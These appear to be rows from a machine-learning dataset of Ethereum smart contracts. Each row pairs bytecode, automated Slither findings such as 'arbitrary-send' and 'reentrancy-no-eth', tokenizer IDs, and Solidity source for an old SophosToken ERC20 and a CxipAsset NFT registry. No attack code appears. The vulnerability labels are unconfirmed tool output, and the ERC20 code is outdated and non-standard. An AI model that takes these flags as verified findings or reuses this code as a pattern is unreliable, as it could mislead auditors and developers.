51611b1c8161331e565b600060208284031215612eb3578081fd5b8135611b1c8161332c565b600060208284031215612ecf578081fd5b8151611b1c8161332c565b600060208284031215612eeb578081fd5b8151611b1c81613309565b600060208284031215612f07578081fd5b5035919050565b600060208284031215612f1f578081fd5b5051919050565b60008060408385031215612f38578182fd5b823591506020830135612c2e81613309565b600080600060608486031215612f5e578081fd5b505081359360208301359350604090920135919050565b60008151808452612f8d81602086016020860161321a565b601f01601f19169290920160200192915050565b60008251612fb381846020870161321a565b9190910192915050565b60008351612fcf81846020880161321a565b60609390931b6bffffffffffffffffffffffff19169190920190815260140192915050565b6000835161300681846020880161321a565b83519083019061301a81836020880161321a565b01949350505050565b6001600160a01b0384811682528316602082015260606040820181905260009061304f90830184612f75565b95945050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061308b90830184612f75565b9695505050505050565b602081526000611b1c6020830184612f75565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252600c908201526b24b73b30b634b2103a34b2b960a11b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b604051601f8201601f1916810167ffffffffffffffff811182821017156131cf576131cf6132f3565b604052919050565b600082198211156131ea576131ea6132c7565b500190565b6000826131fe576131fe6132dd565b500490565b600082821015613215576132156132c7565b500390565b60005b8381101561323557818101518382015260200161321d565b8381111561170c5750506000910152565b600081613255576132556132c7565b506000190190565b600181811c9082168061327157607f821691505b6020821081141561329257634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156132ac576132ac6132c7565b5060010190565b6000826132c2576132c26132dd565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610d3757600080fd5b8015158114610d3757600080fd5b6001600160e01b031981168114610d3757600080fdfe68747470733a2f2f6e66742d6d6574612e6f76657268797065642e696f2f70616e6461732f736572696573312f4d6574615472616e73616374696f6e2875696e74323536206e6f6e63652c616464726573732066726f6d2c62797465732066756e6374696f6e5369676e617475726529a264697066735822122051c4885a3caf655e1ab3e189e33e8afd805f57c6f13319c53013df0bef07e27964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 21926, 2549, 2094, 19317, 2683, 23499, 2692, 2581, 19841, 2475, 8586, 2497, 2575, 27531, 2549, 2497, 2094, 21084, 10322, 2581, 2575, 22025, 27814, 2581, 2487, 2546, 2475, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 21183, 12146, 1013, 3647, 2121, 2278, 11387, 1012, 14017, 1000, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,629
0x9572b8c17fd8288c9e07fe65d37f554be350f114
pragma solidity ^0.4.21; /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Sophos ERC20 token * * @dev Implementation of the Sophos Token. */ contract SophosToken is StandardToken { string public name = "Sophos"; string public symbol = "SOPH"; uint public decimals = 8 ; uint public INITIAL_SUPPLY = 3 * (10 ** 7); // Initial supply is 30,000,000 function SophosToken() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461017957806323b872dd146101a25780632ff2e9dc14610203578063313ce5671461022c57806370a082311461025557806395d89b41146102a2578063a9059cbb14610330578063dd62ed3e14610372575b600080fd5b34156100b457600080fd5b6100bc6103de565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061047c565b005b341561018457600080fd5b61018c6105fe565b6040518082815260200191505060405180910390f35b34156101ad57600080fd5b610201600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610604565b005b341561020e57600080fd5b6102166108c4565b6040518082815260200191505060405180910390f35b341561023757600080fd5b61023f6108ca565b6040518082815260200191505060405180910390f35b341561026057600080fd5b61028c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108d0565b6040518082815260200191505060405180910390f35b34156102ad57600080fd5b6102b5610919565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102f55780820151818401526020810190506102da565b50505050905090810190601f1680156103225780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561033b57600080fd5b610370600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109b7565b005b341561037d57600080fd5b6103c8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b61565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104745780601f1061044957610100808354040283529160200191610474565b820191906000526020600020905b81548152906001019060200180831161045757829003601f168201915b505050505081565b6000811415801561050a57506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561051457600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b60005481565b60006060600481016000369050101561061c57600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491506106ed83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610be890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061078283600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c0690919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107d88383610c0690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35050505050565b60065481565b60055481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109af5780601f10610984576101008083540402835291602001916109af565b820191906000526020600020905b81548152906001019060200180831161099257829003601f168201915b505050505081565b604060048101600036905010156109cd57600080fd5b610a1f82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c0690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ab482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610be890919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284019050610bfc84821015610c1f565b8091505092915050565b6000610c1483831115610c1f565b818303905092915050565b801515610c2b57600080fd5b505600a165627a7a72305820f8a5e9293a6bb3f7fc8f6239db8e935954ba7d2c7ccd6ccc209f04c39b3592c40029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 28311, 2475, 2497, 2620, 2278, 16576, 2546, 2094, 2620, 22407, 2620, 2278, 2683, 2063, 2692, 2581, 7959, 26187, 2094, 24434, 2546, 24087, 2549, 4783, 19481, 2692, 2546, 14526, 2549, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 1013, 1008, 1008, 1008, 8785, 3136, 2007, 3808, 14148, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5651, 1006, 21318, 3372, 1007, 1063, 21318, 3372, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5651, 1006, 21318, 3372, 1007, 1063, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,630
0x95735ab59f16c1ccb9429705781440d55cc0b170
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.4; /*______/\\\\\\\\\__/\\\_______/\\\__/\\\\\\\\\\\__/\\\\\\\\\\\\\___ _____/\\\////////__\///\\\___/\\\/__\/////\\\///__\/\\\/////////\\\_ ___/\\\/_____________\///\\\\\\/________\/\\\_____\/\\\_______\/\\\_ __/\\\_________________\//\\\\__________\/\\\_____\/\\\\\\\\\\\\\/__ _\/\\\__________________\/\\\\__________\/\\\_____\/\\\/////////____ _\//\\\_________________/\\\\\\_________\/\\\_____\/\\\_____________ __\///\\\_____________/\\\////\\\_______\/\\\_____\/\\\_____________ ____\////\\\\\\\\\__/\\\/___\///\\\__/\\\\\\\\\\\_\/\\\_____________ _______\/////////__\///_______\///__\///////////__\///____________*/ /** * @title CXIP Asset * @author CXIP-Labs * @notice A smart contract for providing a single entry for checking validity of collections and tokens minted through CXIP. * @dev Listen events broadcasted by this smart contract, to get all collections and NFT being minted with CXIP smart contracts. */ contract CxipAsset { function getRegistry () internal pure returns (ICxipRegistry) { return ICxipRegistry (0xC267d41f81308D7773ecB3BDd863a902ACC01Ade); } using Address for address; event CollectionAdded (address collectionAddress, address creatorWallet); event CollectionCreated (address collectionAddress, address creatorWallet); event TokenAdded (address collectionAddress, address creatorWallet, uint256 tokenId); event TokenCreated (address collectionAddress, address creatorWallet, uint256 tokenId); UriType private _defaultUri; mapping (address => address) _collectionIdentity; constructor () { _defaultUri = UriType.ARWEAVE; } function defaultUriType () public view returns (UriType) { return _defaultUri; } function AddCollection (address creator, address collection, bool fresh) public { address identityAddress = msg.sender; require ( ICxipProvenance (getRegistry ().getProvenance ()).isIdentityValid (identityAddress), 'CXIP: invalid Identity contract' ); ICxipIdentity identity = ICxipIdentity (identityAddress); require (identity.isWalletRegistered (creator), 'CXIP: creator wallet not owner'); require (identity.isCollectionRegistered (collection), 'CXIP: not registered collection'); bool certified = false; if (fresh) { require (identity.isNew (), 'CXIP: not a new collection'); certified = true; emit CollectionCreated (collection, creator); } else { emit CollectionAdded (collection, creator); } _collectionIdentity [collection] = identityAddress; } function AddToken (address creator, address collection, uint256 tokenId, bool fresh) public { address identityAddress = msg.sender; require ( ICxipProvenance (getRegistry ().getProvenance ()).isIdentityValid (identityAddress), 'CXIP: invalid Identity contract' ); ICxipIdentity identity = ICxipIdentity (identityAddress); require (identity.isWalletRegistered (creator), 'CXIP: creator wallet not owner'); require (identity.isCollectionRegistered (collection), 'CXIP: not registered collection'); require (identity.isTokenRegistered (collection, tokenId), 'CXIP: not registered token'); bool certified = false; if (fresh) { require (identity.isNew (), 'CXIP: not a new collection token'); certified = true; emit TokenCreated (collection, creator, tokenId); } else { emit TokenAdded (collection, creator, tokenId); } } function _getIdentity (address collection) internal view returns (ICxipIdentity) { address identityAddress = _collectionIdentity [collection]; return ICxipIdentity (identityAddress); } function getCollectionIdentity (address collection) public view returns (address) { ICxipIdentity identity = _getIdentity (collection); return address (identity); } function getCollectionType (address collection) public view returns (InterfaceType) { ICxipIdentity identity = _getIdentity (collection); require (!address (identity).isZero (), 'CXIP: not registered collection'); return identity.getCollectionType (collection); } function isCollectionOpen (address collection) public view returns (bool) { ICxipIdentity identity = _getIdentity (collection); if (address (identity).isZero ()) { return false; } return identity.isCollectionOpen (collection); } function isCollectionCertified (address collection) public view returns (bool) { ICxipIdentity identity = _getIdentity (collection); if (address (identity).isZero ()) { return false; } return identity.isCollectionCertified (collection); } function isCollectionRegistered (address collection) public view returns (bool) { ICxipIdentity identity = _getIdentity (collection); if (address (identity).isZero ()) { return false; } return identity.isCollectionRegistered (collection); } function isTokenCertified (address collection, uint256 tokenId) public view returns (bool) { ICxipIdentity identity = _getIdentity (collection); if (address (identity).isZero ()) { return false; } return identity.isTokenCertified (collection, tokenId); } function isTokenRegistered (address collection, uint256 tokenId) public view returns (bool) { ICxipIdentity identity = _getIdentity (collection); if (address (identity).isZero ()) { return false; } return identity.isTokenRegistered (collection, tokenId); } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470); } function isZero(address account) internal pure returns (bool) { return (account == address(0)); } } struct CollectionData { bytes32 name; bytes32 name2; bytes32 symbol; address royalties; uint96 bps; } interface ICxipERC721 { function arweaveURI(uint256 tokenId) external view returns (string memory); function contractURI() external view returns (string memory); function creator(uint256 tokenId) external view returns (address); function httpURI(uint256 tokenId) external view returns (string memory); function ipfsURI(uint256 tokenId) external view returns (string memory); function name() external view returns (string memory); function payloadHash(uint256 tokenId) external view returns (bytes32); function payloadSignature(uint256 tokenId) external view returns (Verification memory); function payloadSigner(uint256 tokenId) external view returns (address); function supportsInterface(bytes4 interfaceId) external view returns (bool); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); /* Disabled due to tokenEnumeration not enabled. function tokensOfOwner( address wallet ) external view returns (uint256[] memory); */ function verifySHA256(bytes32 hash, bytes calldata payload) external pure returns (bool); function approve(address to, uint256 tokenId) external; function burn(uint256 tokenId) external; function init(address newOwner, CollectionData calldata collectionData) external; /* Disabled since this flow has not been agreed on. function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); */ function safeTransferFrom( address from, address to, uint256 tokenId ) external payable; function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) external payable; function setApprovalForAll(address to, bool approved) external; function transferFrom( address from, address to, uint256 tokenId ) external payable; function transferFrom( address from, address to, uint256 tokenId, bytes memory data ) external payable; function cxipMint(uint256 id, TokenData calldata tokenData) external returns (uint256); function setApprovalForAll( address from, address to, bool approved ) external; function setName(bytes32 newName, bytes32 newName2) external; function setSymbol(bytes32 newSymbol) external; function transferOwnership(address newOwner) external; /* // Disabled due to tokenEnumeration not enabled. function balanceOf(address wallet) external view returns (uint256); */ function baseURI() external view returns (string memory); function getApproved(uint256 tokenId) external view returns (address); function getIdentity() external view returns (address); function isApprovedForAll(address wallet, address operator) external view returns (bool); function isOwner() external view returns (bool); function owner() external view returns (address); function ownerOf(uint256 tokenId) external view returns (address); /* Disabled due to tokenEnumeration not enabled. function tokenByIndex(uint256 index) external view returns (uint256); */ /* Disabled due to tokenEnumeration not enabled. function tokenOfOwnerByIndex( address wallet, uint256 index ) external view returns (uint256); */ /* Disabled due to tokenEnumeration not enabled. function totalSupply() external view returns (uint256); */ function totalSupply() external view returns (uint256); function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external pure returns (bytes4); } interface ICxipIdentity { function addSignedWallet( address newWallet, uint8 v, bytes32 r, bytes32 s ) external; function addWallet(address newWallet) external; function connectWallet() external; function createERC721Token( address collection, uint256 id, TokenData calldata tokenData, Verification calldata verification ) external returns (uint256); function createERC721Collection( bytes32 saltHash, address collectionCreator, Verification calldata verification, CollectionData calldata collectionData ) external returns (address); function createCustomERC721Collection( bytes32 saltHash, address collectionCreator, Verification calldata verification, CollectionData calldata collectionData, bytes32 slot, bytes memory bytecode ) external returns (address); function init(address wallet, address secondaryWallet) external; function getAuthorizer(address wallet) external view returns (address); function getCollectionById(uint256 index) external view returns (address); function getCollectionType(address collection) external view returns (InterfaceType); function getWallets() external view returns (address[] memory); function isCollectionCertified(address collection) external view returns (bool); function isCollectionRegistered(address collection) external view returns (bool); function isNew() external view returns (bool); function isOwner() external view returns (bool); function isTokenCertified(address collection, uint256 tokenId) external view returns (bool); function isTokenRegistered(address collection, uint256 tokenId) external view returns (bool); function isWalletRegistered(address wallet) external view returns (bool); function listCollections(uint256 offset, uint256 length) external view returns (address[] memory); function nextNonce(address wallet) external view returns (uint256); function totalCollections() external view returns (uint256); function isCollectionOpen(address collection) external pure returns (bool); } interface ICxipProvenance { function createIdentity( bytes32 saltHash, address wallet, uint8 v, bytes32 r, bytes32 s ) external returns (uint256, address); function createIdentityBatch( bytes32 saltHash, address[] memory wallets, uint8[] memory V, bytes32[] memory RS ) external returns (uint256, address); function getIdentity() external view returns (address); function getWalletIdentity(address wallet) external view returns (address); function informAboutNewWallet(address newWallet) external; function isIdentityValid(address identity) external view returns (bool); function nextNonce(address wallet) external view returns (uint256); } interface ICxipRegistry { function getAsset() external view returns (address); function getAssetSigner() external view returns (address); function getAssetSource() external view returns (address); function getCopyright() external view returns (address); function getCopyrightSource() external view returns (address); function getCustomSource(bytes32 name) external view returns (address); function getCustomSourceFromString(string memory name) external view returns (address); function getERC1155CollectionSource() external view returns (address); function getERC721CollectionSource() external view returns (address); function getIdentitySource() external view returns (address); function getPA1D() external view returns (address); function getPA1DSource() external view returns (address); function getProvenance() external view returns (address); function getProvenanceSource() external view returns (address); function owner() external view returns (address); function setAsset(address proxy) external; function setAssetSigner(address source) external; function setAssetSource(address source) external; function setCopyright(address proxy) external; function setCopyrightSource(address source) external; function setCustomSource(string memory name, address source) external; function setERC1155CollectionSource(address source) external; function setERC721CollectionSource(address source) external; function setIdentitySource(address source) external; function setPA1D(address proxy) external; function setPA1DSource(address source) external; function setProvenance(address proxy) external; function setProvenanceSource(address source) external; } // This is a 256 value limit (uint8) enum InterfaceType { NULL, // 0 ERC20, // 1 ERC721, // 2 ERC1155 // 3 } struct Token { address collection; uint256 tokenId; InterfaceType tokenType; address creator; } struct TokenData { bytes32 payloadHash; Verification payloadSignature; address creator; bytes32 arweave; bytes11 arweave2; bytes32 ipfs; bytes14 ipfs2; } // This is a 256 value limit (uint8) enum UriType { ARWEAVE, // 0 IPFS, // 1 HTTP // 2 } struct Verification { bytes32 r; bytes32 s; uint8 v; }
0x608060405234801561001057600080fd5b50600436106100be5760003560e01c8063699ec11311610076578063c3386c811161005b578063c3386c8114610184578063dbdd85a3146101a4578063eb6538e9146101b757600080fd5b8063699ec1131461015e57806388e7e7661461017157600080fd5b806327f63b05116100a757806327f63b05146101155780632b09f45614610138578063455114a31461014b57600080fd5b806310cd8d34146100c35780631555d26f14610100575b600080fd5b6100d66100d136600461135d565b6101ca565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020015b60405180910390f35b61011361010e366004611395565b610203565b005b61012861012336600461135d565b61079d565b60405190151581526020016100f7565b61012861014636600461135d565b610895565b60005460ff166040516100f791906114b1565b61011361016c3660046113df565b610941565b61012861017f36600461135d565b610fa3565b61019761019236600461135d565b61104f565b6040516100f79190611497565b6101286101b2366004611431565b61119f565b6101286101c5366004611431565b6112a9565b6000806101fc8373ffffffffffffffffffffffffffffffffffffffff9081166000908152600160205260409020541690565b9392505050565b3373c267d41f81308d7773ecb3bdd863a902acc01ade73ffffffffffffffffffffffffffffffffffffffff1663b9da967d6040518163ffffffff1660e01b815260040160206040518083038186803b15801561025e57600080fd5b505afa158015610272573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102969190611379565b6040517f0172e60e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff83811660048301529190911690630172e60e9060240160206040518083038186803b1580156102ff57600080fd5b505afa158015610313573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610337919061145c565b6103a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f435849503a20696e76616c6964204964656e7469747920636f6e74726163740060448201526064015b60405180910390fd5b6040517f7f247e4900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581166004830152829190821690637f247e499060240160206040518083038186803b15801561040c57600080fd5b505afa158015610420573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610444919061145c565b6104aa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f435849503a2063726561746f722077616c6c6574206e6f74206f776e657200006044820152606401610399565b6040517f27f63b0500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85811660048301528216906327f63b059060240160206040518083038186803b15801561051157600080fd5b505afa158015610525573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610549919061145c565b6105af576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f435849503a206e6f74207265676973746572656420636f6c6c656374696f6e006044820152606401610399565b600083156106f4578173ffffffffffffffffffffffffffffffffffffffff1663fe75154b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156105fd57600080fd5b505afa158015610611573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610635919061145c565b61069b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f435849503a206e6f742061206e657720636f6c6c656374696f6e0000000000006044820152606401610399565b506040805173ffffffffffffffffffffffffffffffffffffffff8087168252871660208201526001917f5d0de243db1669e3a7056744cd715c625f0c1c348736c2c2d53d0ddebff1a6c7910160405180910390a1610745565b6040805173ffffffffffffffffffffffffffffffffffffffff8088168252881660208201527fde026c5319b7c35f108a6ccfc922edc8008522079b610aee3c676bb7b7b7fb35910160405180910390a15b505073ffffffffffffffffffffffffffffffffffffffff928316600090815260016020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001691909316179091555050565b6000806107cf8373ffffffffffffffffffffffffffffffffffffffff9081166000908152600160205260409020541690565b905073ffffffffffffffffffffffffffffffffffffffff81166107f55750600092915050565b6040517f27f63b0500000000000000000000000000000000000000000000000000000000815273ffffffffff